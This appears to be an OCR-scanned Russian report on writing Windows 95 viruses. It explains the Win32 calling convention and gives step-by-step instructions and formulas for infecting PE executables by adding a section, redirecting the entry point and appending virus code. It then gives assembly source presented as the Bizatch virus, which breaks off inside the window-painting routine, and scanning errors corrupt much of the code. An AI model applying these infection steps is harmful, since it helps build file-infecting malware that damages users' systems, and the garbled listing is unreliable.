Доклад: Вирусы под Windows
Соглашения о вызовах
Windows 95 написан на языках C++ (в основном) и Assembler. И, хотя
соглашения о вызовах просты для применения, Microsoft их не исполь-
зует. Все API под Wm95 используют Pascal Calling Convention. При-
мер - API, описанный в файлах справки Visual C++:
FARPROC GetProcAddress(
HMODULE hModule, // описатель DLL-модуля
LPCSTR IpszProc // имя функции
);
На первый взгляд кажется, что достаточно лишь сохранить в стеке опи-
сатель DLL-модуля (он стоит перед указателем на имя функции) и выз-
вать API. Но это не так. Параметры, согласно Pascal Calling Convention,
должны быть сохранены в стеке в обратном порядке:
push offset IpszProc
push dword ptr [hModule]
call GetProcAddress
Используя 32-битный отладчик, можно оттрассировать вызов и найти
вызов KERNEL32 для каждого конкретного случая. Это позволит полу-
чить номер функции и обойтись без необходимой для вызова таблицы
импортируемых имен.
Заражение файлов формата PE-executable
Определение положения начала РЕ-заголовка происходит аналогично
поиску начала NE-заголовка. Если смещение таблицы настройки адре-
сов (поле 18h) в заголовке ЕХЕ-файла 40h или больше, то по смещению
ЗСЬ находится смещение PE-executable заголовка. Сигнатура PE-execu-
table ("РЕ") находится, как и у NE-executable ЕХЕ-файла, в начале но-
вого заголовка.
Внутри РЕ-заголовка находится таблица объектов. Ее формат наиболее
важен по сравнению с прочими. Для добавления вирусного кода в но-
ситель и перехвата вирусом управления необходимо добавить элемент
в таблицу объектов.
Основные действия заражения PE-executable файла:
1. Найти смещение заголовка PE-executable в файле.
2. Считать достаточное количество информации из заголовка для
вычисления его полного размера.
3. Считать весь РЕ-заголовок и таблицу объектов.
4. Добавить новый объект в таблицу объектов.
5. Установить точку входа RVA на новый объект.
6. Дописать вирус к файлу по вычисленному физическому смещению.
7. Записать измененный РЕ-заголовок в файл.
Для определения расположения таблицы объектов следует воспользо-
ваться значением переменной "HeaderSize" (не путать с "NT
headersize"), которая содержит совместный размер заголовков DOS, РЕ
и таблицы объектов.
Для чтения таблицы объектов необходимо считать HeaderSize байт
от начала файла.
Таблица объектов расположена непосредственно за NT-заголовком. Зна-
чение "NTheadersize" показывает количество байт, следующих за полем
"flags". Итак, для определения смещения таблицы объектов нужно по-
лучить NTheaderSize и добавить размер поля флагов (24).
Добавление объекта: получив количество объектов, умножить его на 40
(размер элемента таблицы объектов). Таким образом определяется сме-
щение, по которому будет расположен вирус.
Данные для элемента таблицы объектов должны быть вычислены с исполь-
зованием информации в предыдущем элементе (элементе носителя).
RVA=((prev RVA+prev Virtual Size)/OBJ Alignment+1)
*OBJ Alignment
Virtual Size=((size of virus+buffer any space)/OBJ Alignment+1)
*OBJ Alignment
Physical Size=(size of virus/File Alignment+1 )*File Alignment
Physical Offset=prev Physical Offset+prev Physical Size
Object Flags=db 40h,0,O.COh
Entrypoint RVA=RVA
Теперь необходимо увеличить на единицу поле "количество объектов"
и записать код вируса по вычисленному "физическому смещению"
в размере "физического размера" байт.
Пример вируса под Windows 95
.386
locals
jumps
.model flat.STDCALL
include win32.inc некоторые 32-битные константы и структуры
L equ <LARGE>
;0пределим внешние функции, к которым будет подключаться вирус
extrn BeginPaint:PROC
extrn CreateWindowExA:PROC
extrn DefWindowProcA:PROC
extrn DispatchMessageA:PROC
extrn EndPaint:PROC
extrn ExitProcess.-PROC
extrn FindWindowA:PROC
extrn GetMessageA:PROC
extrn GetModuleHandleA:PROC
extrn GetStockObject:PROC
extrn lnvalidateRect:PROC
extrn LoadCursorA:PROC
extrn LoadlconA:PROC
extrn MessageBeep:PROC
extrn PostQuitMessage:PROC
extrn RegisterClassA:PROC
extrn ShowWindow:PROC
extrn SetWindowPos:PROC
extrn TextOutA:PROC
extrn TranslateMessage:PROC
extrn UpdateWindow:PROC
;Для поддержки Unicode Win32 интерпретирует некоторые функции
;для ANSI или расширенного набора символов.
;В качестве примера рассмотрим ANSI
CreateWindowEx equ <CreateWindowExA>
DefWindowProc equ <DefWindowProcA>
DispatchMessage equ <DispatchMessageA>
FindWindow equ <FindWindowA>
GetMessage equ <GetMessageA>
GetModuleHandle equ <GetModuleHandleA>
LoadCursor equ <LoadCursorA>
Loadlcon equ <LoadlconA>
MessageBox equ <MessageBoxA>
RegisterClass equ <RegisterClassA>
TextOut equ <TextOutA>
•data
newhwnd dd 0
Ippaint PAINTSTRUCT <?>
msg MSGSTRUCT <?>
we WNDCLASS <?>
mbx_count dd 0
hinst dd 0
szTitleName db "Bizatch by Quantum / VLAD activated"
zero db 0
szAlternate db "more than once",0
szClassName db "ASMCLASS32",0
[Сообщение, выводимое в окне
szPaint db "Left Button pressed:"
s_num db "OOOOOOOOh times.",0
.Размер сообщения
MSG_L EQU ($-offset szPaint)--!
.code
;Сюда обычно передается управление от загрузчика.
start:
.Получим HMODULE
push L О
call GetModuleHandle
mov [hlnst],eax
push L 0
push offset szClassName
call FindWindow
or eax.eax
jz reg_class
.Пространство для модификации строки заголовка
mov [zero]," "
reg_class:
;Инициализируем структуру WndClass
mov [wc.clsStyle],CS_HREDRAW+CS_VREDRAW+CS_GLOBALCLASS
mov [wc.clsLpfnWndProc],offset WndProc
mov [wc.clsCbClsExtra],0
mov [wc.clsCbWndExtra],0
mov eax,[hlnst]
mov [wc.clsHlnstance], eax
[Загружаем значок
push L IDLAPPLICATION
push L 0
call Loadlcon
mov [wc.clsHlcon], eax
; Загружаем курсор
push L IDC.ARROW
push L 0
call LoadCursor
mov [wc.clsHCursor], eax
.Инициализируем оставшиеся поля структуры WndClass
mov [wc.clsHbrBackground],COLOR_WINDOW+1
mov dword ptr [wc.clsLpszMenuName],0
mov dword ptr [wc.clslpszClassNameJ.offset szClassName
;Регистрируем класс окна
push offset we
call RegisterClass
; Создаем окно
push L 0 .IpParam
push [hinst] .hinstance
push L 0 ;Меню
push L 0 ;hwnd родительского окна
push L CWJJSEDEFAULT ;Высота
push L CWJJSEDEFAULT ;Длина
push L CWJJSEDEFAULT ;Y
push L CWJJSEDEFAULT ;X
push L WSJ3VERLAPPEDWINDOW ;Style
push offset szTitleName ;Title Style
push offset szClassName ;Class name
push L 0 ;extra style
call CreateWindowEx
.Сохраняем HWND
mov [newhwnd], eax
.Отображаем окно на экране
push L SW.SHOWNORMAL
push [newhwnd]
call ShowWindow
;0бновляем содержимое окна
push [newhwnd]
call UpdateWindow
;0чередь сообщений
msgJoop:
.Прочитаем следующее сообщение из очереди
push L О
push L О
push L О
push offset msg
call GetMessage
;Если функция GetMessage вернула нулевое значение, то завершаем
[обработку сообщений и выходим из процесса
стр ах.0
je endJoop
Преобразуем виртуальные коды клавиш в сообщения клавиатуры
push offset msg
call TranslateMessage
Передаем это сообщение назад в Windows
push offset msg
call DispatchMessage
[Переходим к следующему сообщению
jmp msgJoop
;Выход из процесса
endJoop:
push [msg.msWPARAM]
call ExitProcess
.Обработка сообщений окна. Win32 требует сохранения регистров
;ЕВХ, EDI. ESI. Запишем эти регистры после "uses" в строке "ргос".
;Это позволит Ассемблеру сохранить их
WndProc proc uses ebx edi esi, hwnd;DWORD, wmsg:DWORD,
wparam:DWORD, lparam:DWORD
LOCAL theDC: DWORD
[Проверим, какое сообщение получили, и перейдем к обработке
cmp [wmsg],WM_DESTROY
je wmdestroy
стр [wmsg],WM_RBUTTONDOWN
je wmrbuttondown
cmp [wmsg],WM_SIZE
je wmsize
cmp [wmsg].WM_CREATE
je wmcreate
cmp [wmsg],WM_LBUTTONDOWN
je wmlbuttondown
cmp [wmsg],WM_PAINT
je wm paint
cmp [wmsg],WM_GETMINMAXINFO
je wmgetminmaxinfo
Данная программа не обрабатывает это сообщение.
.Передадим его Windows,
:чтобы оно было обработано по умолчанию
jmp defwndproc
.Сообщение WM_PAINT (перерисовать содержимое окна)
wmpaint:
Подготовим окно для перерисовки
push offset Ippaint
push [hwnd]
call BeginPaint
mov [theDC], eax
;Переведем в ASCII-формат значение mbx_count, которое
доказывает, сколько раз была нажата левая кнопка мыши
mov eax,[mbx_count]
mov edi, offset s_num
call HexWrite32
; Вывод строки в окно
push L MSG_L ;Длина строки
push offset szPaint ;Строка